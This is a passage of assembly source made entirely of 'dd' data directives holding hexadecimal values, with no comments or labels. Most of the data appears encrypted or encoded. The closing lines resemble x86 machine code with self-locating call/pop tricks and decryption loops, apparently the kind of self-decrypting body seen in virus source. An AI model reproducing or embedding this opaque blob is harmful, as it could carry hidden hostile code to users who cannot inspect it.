		dd 37C442FBh, 78B20E52h, 87EAA6FEh, 37C460DDh, 0A5FE3AFh
		dd 0E2EA63C0h, 169DE301h, 0B7D36393h, 37C442FBh, 5EFE0E5Dh
		dd 87EA9DEEh, 37C46E6Dh, 0A5FE3AFh, 0E2EA63C0h,	1709E301h
		dd 0B7D36393h, 37C442FBh, 0BC400E55h, 87EADDFBh, 37C460DDh
		dd 0A5FE3AFh, 0E2EA63C0h, 1699E301h, 0B7D36393h, 37C442FBh
		dd 5CE90E52h, 87EADA06h, 37C460DDh, 0A5FE3AFh, 0E2EA63C0h
		dd 1685E301h, 0B7D36393h, 37C442FBh, 0CBF0E42h,	87EAA098h
		dd 37C460DDh, 0A5FE3AFh, 0E2EA63C0h, 1681E301h,	8F966393h
		dd 37C472E7h, 0D2916911h, 0F4156688h, 0E331BFC1h, 37D2027h
		dd 0CDEFF0DFh, 0E313FF3Dh, 7890EB41h, 0CD10B71Ah, 0C290EFC1h
		dd 0F410B1ACh, 0E331BFC1h, 0E47D2027h, 0CDE9C12Bh, 0E313FF3Dh
		dd 7890EB41h, 0CD10B71Ah, 3290EFC1h, 0F410B1ADh, 0E331BFC1h
		dd 327D2027h, 0CD879AB5h, 0E313FF3Dh, 7890EB41h, 0CD10B71Ah
		dd 3690EFC1h, 0F410B1ADh, 0E331BFC1h, 587D2027h, 0CDE3B25Eh
		dd 0E313FF3Dh, 7890EB41h, 0CD10B71Ah, 3A90EFC1h, 0F410B1ADh
		dd 0E331BFC1h, 0D57D2027h, 0CD81AB41h, 0E313FF3Dh, 7890EB41h
		dd 0CD10B71Ah, 0C690EFC1h, 0F410B1ACh, 0E331BFC1h, 97D2027h
		dd 0CDA44465h, 0E313FF3Dh, 7890EB41h, 0CD10B71Ah, 0CA90EFC1h
		dd 0F410B1ACh, 0E331BFC1h, 0DF7D2027h, 0CDCA1FFBh, 0E313FF3Dh
		dd 7890EB41h, 0CD10B71Ah, 0CE90EFC1h, 0B110B1ACh, 0E30BE7F9h
		dd 12606627h, 16CCE3D7h, 5A466359h, 0FCAB861Ah,	348CD3DDh
		dd 0B79863C0h, 37C45EC2h, 0B79CB6BBh, 37C242BAh, 16CCE3D7h
		dd 5A526359h, 0F5A438C3h, 348CD3DDh, 0B79863C0h, 37C45EC2h
		dd 0B79CB6BBh, 37C242BEh, 2C94DB92h, 47156359h,	0EB90A064h
		dd 7510B706h, 506B6379h, 0ABA0996Eh, 0BF10B742h, 0E32D2CA7h
		dd 0BBC59914h, 0E531C60Dh, 0EB90A041h, 7110B706h, 481C9079h
		dd 0ABA0991Ah, 0BF10B742h, 0E32D2CA7h, 0BBC59914h, 0E531C20Dh
		dd 0EB90A041h, 7110B706h, 13824679h, 0ABA09974h, 0BF10B742h
		dd 0E32D2CA7h, 0BBC59914h, 0E531CE0Dh, 0B3A8E541h, 3210B73Ch
		dd 0B7D32664h, 37C44251h, 9A160E07h, 87EAED22h,	37C46088h
		dd 0A5FE305h, 0E2EA6395h, 16A5E3ABh, 0B7D363C6h, 37C44251h
		dd 4C00E07h, 87EA8379h,	37C46088h, 0A5FE305h, 0E2EA6395h
		dd 16B9E3ABh, 0B7D363C6h, 37C44251h, 0F40E07h, 87EA8C88h
		dd 37C46088h, 0A5FE305h, 0E2EA6395h, 16A1E3ABh,	0B7D363C6h
		dd 37C44251h, 9E220E07h, 87EAE2D3h, 37C46088h, 0A5FE305h
		dd 0E2EA6395h, 16ADE3ABh, 0B7D363C6h, 37C44251h, 0A2C10E0Bh
		dd 87EAF117h, 37C46088h, 0A5FE305h, 0E2EA6395h,	16A9E3ABh
		dd 0B7D363C6h, 37C44251h, 3C170E0Bh, 87EA9F4Ch,	37C46088h
		dd 0A5FE305h, 0E2EA6395h, 16D5E3ABh, 0B7D363C6h, 37C44251h
		dd 4B5C0E09h, 87EAAE15h, 37C46088h, 0A5FE305h, 0E2EA6395h
		dd 16DDE3ABh, 0B7D363C6h, 37C44251h, 7F9C0E09h,	87EABAD5h
		dd 37C46088h, 0A5FE305h, 0E2EA6395h, 16D1E3ABh,	0B7D363C6h
		dd 37C44251h, 1F220E11h, 87EAFA39h, 37C46088h, 0A5FE305h
		dd 0E2EA6395h, 16D9E3ABh, 0B7D363C6h, 37C44251h, 0C23F0E07h
		dd 87EAB4F7h, 37C46088h, 0A5FE305h, 0E2EA6395h,	16C5E3ABh
		dd 0B7D363C6h, 37C44251h, 86FF0E16h, 87EA9B60h,	37C46088h
		dd 0A5FE305h, 0E2EA6395h, 29D0E3ABh, 0B7D363C0h, 37C44251h
		dd 6B8C0E03h, 87EA84BAh, 37C46088h, 0A5FE305h, 0E2EA6395h
		dd 16C1E3ABh, 0B7D363C6h, 37C44251h, 52D70E03h,	87EAD7DFh
		dd 37C46088h, 0A5FE305h, 0E2EA6395h, 16CDE3ABh,	0B7D363C6h
		dd 37C44251h, 0CC010E03h, 87EAB984h, 37C46088h,	0A5FE305h
		dd 0E2EA6395h, 16C9E3ABh
		dd 0B7D363C6h, 37C44251h, 0C07D0E1Bh, 87EAF872h, 37C46088h
		dd 0A5FE305h, 0E2EA6395h, 16F5E3ABh, 0B7D363C6h, 37C44251h
		dd 492A0E0Bh, 87EAA1DEh, 37C46088h, 0A5FE305h, 0E2EA6395h
		dd 1719E3ABh, 0B7D363C6h, 37C44251h, 5C590E03h,	87EA9C79h
		dd 37C46088h, 0A5FE305h, 0E2EA6395h, 1705E3ABh,	0B7D363C6h
		dd 37C44251h, 16D80E03h, 87EAA524h, 37C46088h, 0A5FE305h
		dd 0E2EA6395h, 1701E3ABh, 0B7D363C6h, 37C44251h, 52D90E1Bh
		dd 87EAB299h, 37C46088h, 0A5FE305h, 0E2EA6395h,	16F1E3ABh
		dd 0B7D363C6h, 37C44251h, 665B0E1Bh, 87EAF8CBh,	37C46088h
		dd 0A5FE305h, 0E2EA6395h, 16FDE3ABh, 0B7D363C6h, 37C44251h
		dd 1A5D0E1Bh, 87EAB731h, 37C46088h, 0A5FE305h, 0E2EA6395h
		dd 16F9E3ABh, 367F63C6h, 320566E0h, 22150E44h, 327F6622h
		dd 13FCF3EEh, 0B79C6359h, 37C47869h, 0E800E3AFh, 0E2EA63C7h
		dd 327D62E2h, 5A156654h, 32154622h, 0A7EA667Bh,	37C44761h
		dd 228E3CDh, 0B79C63F3h, 37C478B8h, 327D26E2h, 5A156654h
		dd 32146622h, 0A7EA667Bh, 37C44761h, 2A14E3CDh,	879E63F3h
		dd 37C456C8h, 2660FB03h, 879C6395h, 37C47857h, 11F4FB98h
		dd 0AF9E6359h, 37C47231h, 0CB966DA9h, 0ED916911h, 62156682h
		dd 0F2260615h, 2924E3ABh, 0EAB63C0h, 31156688h,	54354230h
		dd 1651658Fh, 4A65ED31h, 1231128Bh, 0BB0D18CFh,	0E339B39Fh
		dd 3DEAE314h, 32156C0Dh, 231B8E44h, 0A3FC6622h,	63156611h
		dd 0E07EB103h, 9B80EF40h, 5810B733h, 22150E15h,	58476688h
		dd 0DB809944h, 0BB10B703h, 0E3333394h, 6BC5ED8Dh, 3205B9ACh
		dd 31B83022h, 0A5314255h, 42B903h, 0B71AC884h, 0CDEA99DBh
		dd 60EE4D4Fh, 8F9EB103h, 37C47869h, 1EAAFA1h, 13ECD1h
		dd 369E2049h, 3AFCA7C3h, 3D5FAE11h, 0CDEA8C94h,	0C5D4ED77h
		dd 309C3C94h, 6011A4A1h, 2924E3EEh, 0A79E6359h,	37C47D75h
		dd 1EC0F31Bh, 0B61A63C0h, 32156682h, 0F496381Eh, 0CD8E8F26h
		dd 6C4F99EEh, 0F54D3FE9h, 0E30623C1h, 32156627h, 8790A111h
		dd 3210B79Ch, 0B1156644h, 0E531329Fh, 0B61A6614h, 32156680h
		dd 0A3FCFBC9h, 0E1EA63F4h, 32C8E3EEh, 8F966359h, 37C46699h
		dd 50976946h, 0F5156611h, 0E315BB0Dh, 32156741h, 87980622h
		dd 37C2433Dh, 7382DB05h, 0CC3E6393h, 8F9EB1A9h,	37C4783Ch
		dd 1EAAF0Bh, 13EC84h, 369E20E3h, 3AFCA796h, 3D5FAEBBh
		dd 0CDEA8CC1h, 0C5D4EDDDh, 2F905FC1h, 3D10B7ADh, 321571C0h
		dd 5BA8E522h, 3210B73Bh, 321FE387h, 0B7D26644h,	37C46473h
		dd 32156610h, 1D8CDFE9h, 60AF2158h, 9F2ADB14h, 2C60D398h
		dd 74D26359h, 321566B8h, 0DCFB5B22h, 0B71A88FFh, 321566A8h
		dd 0EFC858C5h, 0B71ABBFFh, 32156605h, 3215604Fh, 0F4966644h
		dd 47A0EF26h, 0DB10B70Fh, 32156E71h, 0B726BECFh, 37C46473h
		dd 1916AED0h, 22D5A74Ah, 0AF9CA777h, 37C46473h,	3315662Ch
		dd 77966988h, 0B3156644h, 89AEDD1Ch, 0B9069AAh,	0F5156688h
		dd 32156642h, 36D3E522h, 2C60D398h, 0AF9E6359h,	37C47231h
		dd 0E29E6DA9h, 19D7ED71h, 0E31E170Dh, 30F5A741h, 2C48E321h
		dd 9F8363C0h, 769CA78Bh, 0DB747A60h, 3215665Eh,	0FB263440h
		dd 1440F303h, 302E6395h, 322DE22Dh, 0F0966611h,	0BF2E278Ch
		dd 37C44A91h, 0CDFDE32Dh, 879899EEh, 37C24299h,	1A00DBC9h
		dd 0B6B963F3h, 349169D1h, 98156688h, 0CDEA97ADh, 3215DEDDh
		dd 0BF986611h, 37C42A35h, 0BF9C87BBh, 37C47D13h, 0B9433F4Bh
		dd 0E3011315h, 0B91EED41h, 0E30E57A7h, 31F5B714h, 0E31FF70Dh
		dd 0A4E35541h, 0D2D4CB44h, 6F906513h, 0A410B796h, 6CD465E9h
		dd 3A4CDBA1h, 3D1463C0h, 32155F0Ch, 0AB985D44h,	3D10B724h
		dd 32154B95h, 1B985D88h, 3D10B74Ch, 321547A6h, 0CB985D11h
		dd 3D10B79Bh, 321573C0h, 5D88EB22h, 0CD10B128h,	0BBEDED5Bh
		dd 0E3272FC1h, 34A18F27h, 0AF986611h, 37C25FE7h, 8F96B5BBh
		dd 37C46E7Bh, 2F916911h, 9156688h, 0E30A17C1h, 3E916927h
		dd 9156611h, 0E338E70Dh, 37906941h, 0DB156622h,	0CDEA99A8h
		dd 2728E3B3h, 0B71A6395h, 3215663Ah, 12FCDB92h,	3D156359h
		dd 32156DC1h, 9490EB22h, 0DB10B0CAh, 0CDEA991Dh, 2728E37Fh
		dd 0B61A63F3h, 0CDEA9998h, 1618DB0Bh, 3D146393h, 321571A7h
		dd 5E905D11h, 3D10B1ACh, 32156DC1h, 9290EB22h, 0DB153EF7h
		dd 0CDEA99E5h, 8F969977h, 37C44E23h, 55916911h,	915668Bh
		dd 0E5313EC1h, 0B9121327h, 0E3381794h, 0B72E218Dh, 37C24224h
		dd 0B79E6157h, 37C444ACh, 6E905DCFh, 4710B160h,	0F390ED25h
		dd 7510B713h, 1671E3B3h, 35606393h, 25A4E3A9h, 95263C0h
		dd 0E5310E0Dh, 0B9121341h, 0E3094BA7h, 0B72E2114h, 37C242E4h
		dd 0B79E6131h, 37C47BBFh, 42905D56h, 4710B1ACh,	3F90ED43h
		dd 7510B73Ch, 1661E32Ah, 3560635Fh, 2CC0E3CFh, 95263F3h
		dd 0E5311E94h, 0B912138Dh, 0E3060BC1h, 0B72E2127h, 37C2426Dh
		dd 0B79E61FDh, 37C46629h, 0B6905D65h, 4710B135h, 7790ED8Fh
		dd 7510B756h, 1695E319h, 226063C6h, 2C94DB0Bh, 47156395h
		dd 0A390ED25h, 7510B718h, 3B90DB0Bh, 46156395h,	3E905D2Dh
		dd 4710B134h, 8B90ED8Fh, 7510B769h, 26D0DBA1h, 461563C0h
		dd 9BA8E5FAh, 3210B769h, 0B72E0F56h, 37C242E1h,	0B79E61FDh
		dd 37C454A1h, 32905D65h, 4710B134h, 9390ED8Fh, 7510B74Ch
		dd 16E1E319h, 356063C6h, 3CF8E303h, 9526395h, 0E53062A7h
		dd 0B9121314h, 0E309770Dh, 0B72E2141h, 37C2432Ah, 0B79E6164h
		dd 37C45799h, 0CA905D03h, 4710B106h, 5B90ED16h,	7510B797h
		dd 16E9E37Fh, 356063F5h, 38ACE39Ah, 0B1526359h,	0E338CFF9h
		dd 0B61A6627h, 3215641Bh, 169DE3B3h, 35606393h,	0C0E3A9h
		dd 95263C0h, 0E5307A0Dh, 0B9121341h, 0E319C3A7h, 0B72E2114h
		dd 37C24204h, 0B79E6131h, 37C47713h, 0A2905D56h, 4710B1ACh
		dd 3790ED43h, 7510B73Fh, 1681E32Ah, 3560635Fh, 18ACE3CFh
		dd 95263F3h, 0E531FE94h, 0B105138Dh, 0E30BE7F9h, 35606627h
		dd 1FD4E39Ah, 9526359h,	0E531FAC1h, 0B9121327h,	0E30A4F94h
		dd 0B72E218Dh, 37C242E4h, 8F967657h, 37C47890h,	0B9121388h
		dd 0E3017FC1h, 0B72E2127h, 37C242B5h, 0B79E61FDh, 37C47ED1h
		dd 9A905D65h, 4710B135h, 9390ED8Fh, 7510B764h, 16A5E319h
		dd 226063C6h, 2C94DB0Bh, 47156395h, 9B90ED25h, 7510B735h
		dd 16B9E3B3h, 22606393h, 2C94DBA1h, 471563C0h, 1B90ED8Fh
		dd 7510B764h, 16A1E319h, 356063C6h, 151CE303h, 9526395h
		dd 0E531DEA7h, 0B9121314h, 0E30B870Dh, 0B72E2141h, 37C2429Eh
		dd 0B79E6164h, 37C47EDDh, 0F2905D03h, 4710B106h, 0A790ED16h
		dd 7510B7A5h, 16D1E37Fh, 356063F5h, 2B34E39Ah, 9526359h
		dd 0E531AEC1h, 0B9121327h, 0E333DF94h, 0B72E218Dh, 37C24288h
		dd 0B79E6157h, 37C47CD4h, 0E2905DCFh, 4710B160h, 0BB90ED25h
		dd 7510B70Fh, 29D0E3B3h, 35606395h, 2000E3A9h, 95263C0h
		dd 0E531B20Dh, 0B9121341h, 0E31B3BA7h, 0B72E2114h, 37C24398h
		dd 8F967F31h, 37C2433Ah, 0B11C1311h, 0E31D3F35h, 35616641h
		dd 308CE3A9h, 95263C0h,	0E530720Dh, 0B10C1341h,	0E5307E9Fh
		dd 3B606614h, 3A4CDB0Bh, 46156395h, 7390ED25h, 7510B70Eh
		dd 16CDE3B3h, 35606393h, 3048E3A9h, 95263C0h, 0E531BA0Dh
		dd 0B9121341h, 0E33227A7h
		dd 0B72E2114h, 37C24268h, 0B79E6131h, 37C46DA3h, 0D6905D56h
		dd 4710B1ACh, 4390ED43h, 7510B712h, 16FDE32Ah, 3560635Fh
		dd 332CE3CFh, 95263F3h,	0E5318A94h, 0B912138Dh,	0E327B3C1h
		dd 0CD1E2127h, 3210E21Eh, 0D8FC6688h, 9EA99BFh,	0E31CA7A7h
		dd 39906914h, 0BF156688h, 0E4DEA5C1h, 0C9C68F27h, 0B72E99EEh
		dd 37C475F5h, 320DE34Bh, 8F966622h, 37C2421Ch, 39906989h
		dd 0BF156644h, 6AF345A7h, 0C9BA8F11h, 0B72E9977h, 37C2420Ch
		dd 3219E22Dh, 0B72E6611h, 37C242C4h, 3210E34Bh,	0A0FC6622h
		dd 8CEA99EAh, 32156688h, 3D1498C7h, 321523A7h, 0E905D11h
		dd 3D10B1ACh, 32156DC1h, 0D690EB22h, 0DB153E73h, 0CDEA9DE5h
		dd 1655E37Fh, 0B71A63F5h, 3215661Ah, 514FE305h,	64FC661Ch
		dd 9EA99D9h, 0E5312294h, 3990698Dh, 0BF156644h,	6A76F9A7h
		dd 0C92A8F11h, 0F29E9977h, 321566FAh, 3DE36D22h, 32156394h
		dd 0C9368F88h, 0C29E99BBh, 1DE4D3ABh, 879C63C0h, 37C446C1h
		dd 3DFC58C4h, 321540A7h, 336BED11h, 0EC9E988Bh,	7215A5C5h
		dd 8F2E6622h, 37C449E0h, 321DE487h, 0C92E6644h,	3210E02Dh
		dd 0D4FC6611h, 0B9EA9972h, 0E3255BF9h, 390A127h, 3210B711h
		dd 52156688h, 125CD3CDh, 0AF9863F3h, 37C25941h,	0B01AB577h
		dd 32156666h, 805FBAFh,	0E1EA63C7h, 0CDCBE587h,	879E99BBh
		dd 37C4466Bh, 3224D398h, 0AF986359h, 37C3F7D5h,	0B79EB5DDh
		dd 37C449E0h, 125CE301h, 0BF746395h, 0E52EDFBFh, 0BFC69914h
		dd 0E52BC715h, 3DC69941h, 32156AA1h, 7B90E511h,	3710B7A8h
		dd 0CDEAB8ADh, 0F888EBDDh, 0CD10B12Fh, 3A96695Bh, 0B1156644h
		dd 0FC62E0h, 0BF156611h, 0E42F7615h, 3DC69941h,	32156DA1h
		dd 7BA0ED11h, 0DB10B7A8h, 321561C4h, 125CEBA9h,	879C63C0h
		dd 37C446C1h, 0EBE2A86Fh, 96E69709h, 0CDEAF0F8h, 0DB88EB77h
		dd 0CD10B0D5h, 19D2EDF1h, 0E3255B94h, 0F390EF8Dh, 0B910B759h
		dd 0E3255BA7h, 0BF453114h, 0E4873805h, 0B9C49941h, 0E30D67A7h
		dd 0B9423614h, 0E3255B0Dh, 0BF983641h, 37C3F4AFh, 0E29EB7EEh
		dd 0BF3EAE03h, 37C47E45h, 3D0CDBA1h, 3D1563C0h,	32154D0Ch
		dd 1B90ED44h, 1910B712h, 0E31A7F94h, 3DD45D8Dh,	321571C2h
		dd 2390ED22h, 3110B70Ah, 0E31A7F0Dh, 7B90EF41h,	0DB10B710h
		dd 32156652h, 7AD4EDD9h, 321A9949h, 0B79C2622h,	37C45638h
		dd 106CE389h, 0B7D26395h, 37C4693Bh, 32156611h,	327D26E2h
		dd 63156654h, 0A7EA6648h, 37C447F8h, 2B74F377h,	0B79C6395h
		dd 37C47D33h, 5CE398h, 0CD4C6359h, 0E3272FF1h, 33A09927h
		dd 6510B709h, 228D377h,	0B7986395h, 37C3F13Dh, 0BF14B6EEh
		dd 37C46991h, 5CDBCFh, 879E63F3h, 37C47E10h, 879EC27Bh
		dd 37C47831h, 0CE53A18Fh, 32156611h, 3710A649h,	750949DDh
		dd 226CE321h, 0BF9E63C0h, 37C454C1h, 0F5B86ECDh, 32159A64h
		dd 879C6611h, 37C478FDh, 3DEA9EC7h, 321546A7h, 0EF2BE711h
		dd 3DC8BB55h, 321572C1h, 3213A122h, 0B1156611h,	879C624Eh
		dd 37C47831h, 0CDE380CBh, 31D5A7EEh, 226CE38Bh,	8F966395h
		dd 37C440C3h, 0AF916910h, 0B3156688h, 98BFCC7Ah, 20906988h
		dd 0B1156611h, 74D2624Eh, 321566B8h, 0DBA5F122h, 321565F8h
		dd 0DAA5F188h, 6BA8E514h, 3310B72Ah, 322BE21Eh,	32AD6688h
		dd 0B1156645h, 0E531329Fh, 0B61A6614h, 32156680h, 0A875FBC9h
		dd 0E1EA63F4h, 3D855991h, 32156E0Ch, 37D2E544h,	321525CBh
		dd 62EDE511h, 321FE487h, 0A2A56644h, 0DBBF3E88h, 32156635h
		dd 4D95CCD0h, 0B71A8FBBh, 3215663Ah, 1641DB92h,	3D15635Fh
		dd 32156EC0h, 288EB22h,	0CD10B08Bh, 3652EE5Bh, 5CE3CFh
		dd 0F53E63F3h, 99118E92h, 0CE53A125h, 32156644h, 0CDEA77CBh
		dd 47A0EFEEh, 6010B796h, 3295662Ch, 0CD150C22h,	0E33333A4h
		dd 9780998Dh, 6810B763h, 2660EBA9h, 33D263C0h, 32156688h
		dd 0BB11A7C7h, 0E30113AFh, 0C7058F14h, 96FC9977h, 52156642h
		dd 2660EBA9h, 3B9E63C0h, 1645EB01h, 0A946393h, 7E51326Ch
		dd 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh,	0C29E6611h
		dd 0B913A00Bh, 0E336D7C1h, 33138F27h, 0C29E6611h, 0FB26B603h
		dd 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch,	3D3B5ABBh
		dd 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h, 0CDEAB1A4h
		dd 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h,	3D4A5AEEh
		dd 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h,	0CDEAC90Eh
		dd 32DE8FBBh, 9576622h,	0F09169C7h, 78156688h, 0CD8F8F05h
		dd 0FB9099DDh, 32A6E21Eh, 87986688h, 37C47D31h,	0C89EACA9h
		dd 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh, 0F4B195E6h
		dd 0BF1599CFh, 0E30E13D1h, 1390ED27h, 0B710B709h, 28906948h
		dd 0F4156644h, 0E331BFA7h, 0E07D2114h, 0CDC1FC2Fh, 0E3319BF1h
		dd 9390EB27h, 0CD10B24Dh, 0E2EA3458h, 0B71AA6C1h, 3215661Ah
		dd 2DCE39Ah, 0F2906359h, 320FE34Bh, 0B7D36622h,	37C442C8h
		dd 2EFC0EC4h, 87EABF9Eh, 37C442DFh, 6EB4E39Ch, 0E2EA635Ch
		dd 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h, 1645E3CDh
		dd 644563F5h, 4D65E39Ch, 0E2EA635Ch, 0B71AA64Fh, 32156627h
		dd 321562F8h, 1651EF88h, 52D60758h, 1645EBA9h, 0B94563C6h
		dd 0E556549h, 329DF6CFh, 0A79C6622h, 37C47024h,	32159E8Dh
		dd 3E45ED44h, 10F8F3ABh, 0B94D63C0h, 193142CCh,	0DF905D85h
		dd 3D10B700h, 32157693h, 7905D88h, 3D10B752h, 321562A1h
		dd 36D70711h, 36D20788h, 32156660h, 1651A122h, 32156615h
		dd 3210DE88h, 0BF986644h, 37C42A9Fh, 0B87587EEh, 3DFC5A8Eh
		dd 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h, 321574C0h
		dd 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h, 0B8D60722h
		dd 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh, 3113A592h
		dd 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh, 0B9156688h
		dd 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h, 3D3B8DC7h
		dd 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h, 0CDEA998Fh
		dd 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h, 42EEE6E1h
		dd 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h,	3391E287h
		dd 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h, 0D0296644h
		dd 3056E22Dh, 694A6611h, 0F5D638D1h, 0E53046C1h, 32156027h
		dd 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh, 1DE4E39Ah
		dd 0A79E6359h, 37C46675h, 0F196B8A9h, 304B6517h, 0B01ABEB3h
		dd 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h, 54B80042h
		dd 0B1BEF589h, 0E9C62D7h, 1661EFACh, 7BA0EF48h,	6D10B702h
		dd 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 0E53046A7h, 32156414h
		dd 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h,	3FFC2551h
		dd 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h, 1DE4E3CFh
		dd 0A79E63F3h, 37C46620h, 2150DB0Bh, 3D146395h,	3215C5A6h
		dd 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h,	329B8FEEh
		dd 0B7D26688h, 37C24364h, 32156620h, 841AB89Ah,	0B2ECE686h
		dd 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h, 0B3CC91BBh
		dd 321599C3h, 0B9CC4D11h, 0E33A970Dh, 380ED41h,	0B110B722h
		dd 0E30623ACh, 0B61A678Dh, 3215660Ch, 0B01ABE19h, 32156619h
		dd 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh, 381A8708h
		dd 0ED3ECC85h, 0A1118DA1h
		dd 30D3E5BAh, 125CD301h, 0B7D26395h, 37C47567h,	32156610h
		dd 6911A20Bh, 36D1E51Dh, 0DB11A2A1h, 0CDEA9F66h, 98FCD6C6h
		dd 0F53EA0CFh, 99118EA1h, 6911A292h, 0F69638D1h, 0CBD28F40h
		dd 0B7D299DDh, 37C24331h, 3215668Dh, 0F196B8CFh, 0B90B6526h
		dd 0E33A9794h, 380ED8Dh, 7C10B744h, 26A0DBA1h, 3D1463C0h
		dd 3214650Ch, 3DCD5D44h, 32156EA0h, 3DCF5D11h, 32154D0Eh
		dd 7BA0EF44h, 0B910B702h, 0E530468Ch, 1649678Dh, 32CB8F48h
		dd 0F54A6622h, 0E301D394h, 3215678Dh, 6C4C3D44h, 0DB11A2A1h
		dd 0CDEA9EE6h, 2150DB0Bh, 3D146395h, 3215DDA6h,	0C3884D11h
		dd 0B910B7A7h, 0E3255BC9h, 19DE6527h, 37FCE5DEh, 0A3BF8F38h
		dd 36D1E5EFh, 0B14B3F79h, 1CFC62D5h, 0F5EA9971h, 0E53046C1h
		dd 32156427h, 3DCBED11h, 0CB95683Eh, 3A9669C4h,	31156622h
		dd 3FFC25C8h, 0B2156688h, 0EBE299ADh, 32EA87A3h, 0EB3E6611h
		dd 1DE4E303h, 0A79E6395h, 37C46613h, 0CDEA20F8h, 1290A177h
		dd 3010B161h, 0B9156622h, 3CA369CFh, 3D959F08h,	32156EC7h
		dd 71CC6522h, 32156BF8h, 0CDFCE688h, 0D394BFB3h, 321566DDh
		dd 0B79EBF3Ah, 37C44979h, 3224F3CFh, 8F9663F3h,	37C47554h
		dd 0FB916989h, 9EA99BAh, 3A9769FAh, 9156611h, 55936952h
		dd 7CEA99B9h, 0FD3EA8A9h, 82108F92h, 9984CC61h,	0CDEDEEADh
		dd 0E13ECDDh, 349169F9h, 0CA156688h, 32157EADh,	0EC9E3522h
		dd 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh, 998662C9h, 37D3E54Ah
		dd 5444A571h, 0F12960CFh, 3255E22Dh, 0F9296611h, 322DE287h
		dd 0F0296644h, 322DE22Dh, 0F8296611h, 3225E287h, 0F736644h
		dd 0B61A43DDh, 32156621h, 0CD3B5BEEh, 3218E34Bh, 749F6622h
		dd 0EE54213h, 11916928h, 6B156644h, 322C8FDAh, 0FB266611h
		dd 320C8FC9h, 31AC6644h, 0DB156622h, 3215661Eh,	32156031h
		dd 32108F44h, 35AC6622h, 0C1156611h, 398ED2Ch, 0B710B744h
		dd 349069EBh, 0BB156611h, 0E315573Dh, 0F1EC3F41h, 0E13ED44h
		dd 579169D2h, 0B8156688h, 0C2F6E69Ch, 3D659DA2h, 3215FA95h
		dd 3DFC5A88h, 321529C0h, 3DFE5A22h, 32152195h, 3DD75A88h
		dd 321559C0h, 3DDE5A22h, 32155195h, 0CD280088h,	1F916961h
		dd 0E156622h, 179169DBh, 0E156688h, 509169A7h, 54156622h
		dd 3DEA482Ch, 32156B0Dh, 3053EC44h, 92299606h, 3213E21Eh
		dd 0DBED6688h, 3215664Bh, 3224D3ABh, 0AF9863C0h, 37C3F719h
		dd 0F1ECB5BBh, 2253ED72h, 3964E398h, 0B14D6359h, 8F987A82h
		dd 37C4787Fh, 165165BCh, 8F98CDACh, 37C47CE9h, 1651658Fh
		dd 0BFBE3635h, 0E31FF735h, 7616CB41h, 6CBE4E06h, 0AF9830D2h
		dd 37C3F7E2h, 95FCB5BBh, 83FFFFFFh, 0D72454BDh,	840F0005h
		dd 8, 9213858Dh, 0D0FF05D6h, 800068h, 0FF006A00h, 0D1303DB5h
		dd 0A595FF05h, 6805D127h, 8000h, 0B5FF006Ah, 5D11801h
		dd 27A595FFh, 6805D1h, 6A000080h, 2DB5FF00h, 0FF05D11Eh
		dd 0D127A595h, 0BCBD8D05h, 8D005906h, 590C118Dh, 8215B800h
		dd 0CF2BF549h, 2454BD83h, 0F0005D7h, 0A384h, 0D0073000h
		dd 0F4947C8h, 0FFFFF485h, 13BD8DFFh, 8D05D740h,	590B66B5h
		dd 0A68D8D00h, 2B05D740h, 5E983CFh, 0CB8BA4F3h,	8DBFBD8Dh
		dd 8D8D05D6h, 5D69A30h,	3256BAB8h, 0C1CF2BB1h, 73102E9h
		dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 40A8BD8Dh, 0B58D05D7h
		dd 5D699BEh, 40E58D8Dh,	0CF2B05D7h, 0F305E983h,	94BD8DA4h
		dd 8D00590Ch, 5913098Dh, 7ABCB800h, 0CF2B75FDh,	3102E9C1h
		dd 83C8D007h, 0F4904C7h, 0FFFFF285h, 0E5BD8DFFh, 8D05D740h
		dd 590E2AB5h, 228D8D00h, 2B05D741h, 5E983CFh, 0DB8BA4F3h
		dd 252CBD8Dh, 8D8D05D7h, 5D74013h, 156644B8h, 0C1CF2B32h
		dd 73102E9h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h,	0BD83C08Bh
		dd 5D11671h, 83097500h,	0D1121DBDh, 19740005h, 0C08B5350h
		dd 411B8h, 2D858900h, 8D05D110h, 0D3A2349Dh, 5BD3FF05h
		dd 1DBD8358h, 5D112h, 53501774h, 411B8h, 2D858900h, 8D05D110h
		dd 0D39ED59Dh, 5BD3FF05h, 0BBC08B58h, 4672A4F2h, 428B8D8Dh
		dd 6A05D7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 959886C3h, 35DDDED3h, 1E29B531h, 0BD8B05D1h
		dd 5D11219h, 10218D89h,	6A05D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B5E1CCC3h, 85C7CCAFh
		dd 5D11C09h, 6578h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 9BC35747h, 69BD8B97h,	0C705D130h, 0D1067985h
